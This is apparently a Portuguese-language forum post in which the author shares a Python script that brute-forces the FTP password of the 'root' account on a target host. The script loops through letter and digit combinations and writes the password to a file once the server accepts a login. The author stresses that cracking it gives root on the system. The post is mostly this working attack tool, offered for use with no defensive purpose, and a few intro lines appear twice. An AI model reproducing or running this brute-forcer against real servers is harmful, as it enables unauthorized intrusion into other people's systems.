Bom, vou postar aqui pra vocês um script que eu fez faz tempo, que quebra senhas por combinação de FTP.
Sabemos que é bem dificil encontrar um desse na internet, um dos motivos pelo qual eu fiz, então espero que não me rippem. // rippers são mortos rs
user = "root" // Coloquei root, pois conseguindo essa senha você ja consegue o root no sistema
chars = "abcdefghijklmnopqrstuvxwyz0123456789" // Os caracteres que ele usará para quebrar a senha.
Sabemos que é bem dificil encontrar um desse na internet, um dos motivos pelo qual eu fiz, então espero que não me rippem. // rippers são mortos rs
user = "root" // Coloquei root, pois conseguindo essa senha você ja consegue o root no sistema
chars = "abcdefghijklmnopqrstuvxwyz0123456789" // Os caracteres que ele usará para quebrar a senha.
Código:
#!/usr/bin/python import socket import sys, string from itertools import product if len(sys.argv) !=3: print("Usage: "+ sys.argv[0] + " ") print("Ex: "+ sys.argv[0] + " 127.0.0.1 7") sys.exit(1) img = """ ______ __ __ ____ ____ ____ __ __ ______ ___ | T| T__T Tl j | \ | \ | T T| T / _] | || | | | | T | o )| D )| | || | / [_ l_j l_j| | | | | | | T| / | | |l_j l_jY _] | | l ` ' ! | | | O || \ | : | | | | [_ | | \ / j l | || . Yl | | | | T l__j \_/\_/ |____j l_____jl__j\_j \__,_j l__j l_____j Coded By Twi John """ host = sys.argv[1] user = "root" chars = "abcdefghijklmnopqrstuvxwyz0123456789" print (img) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) x = False erro = "" s.connect((host, 21)) s.recv(1024) while x != True: MAX_CHARS = int(sys.argv[2]) for nletters in range(MAX_CHARS): for word in product(chars, repeat=nletters + 1): try: s.send("USER " + user +"\r\n") s.recv(1024) s.send('PASS '+''.join(word)+'\r\n') print(''.join(word)) password = (''.join(word)+'\n') erro = s.recv(3) if erro == "230": x = True print("Password :"+ password) f = open("userpass.txt","w") f.write("Password :"+ password) sys.exit(2) except socket.error: s.close() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,21)) s.send("USER " + user +"\r\n") s.recv(1024) s.send('PASS '+''.join(word)+'\r\n') print(''.join(word)) password = (''.join(word)+'\n') erro = s.recv(3) if erro == "230": x = True print("Password :"+ password) f = open("userpass.txt","w") f.write("Password :"+ password) sys.exit(2)
Comment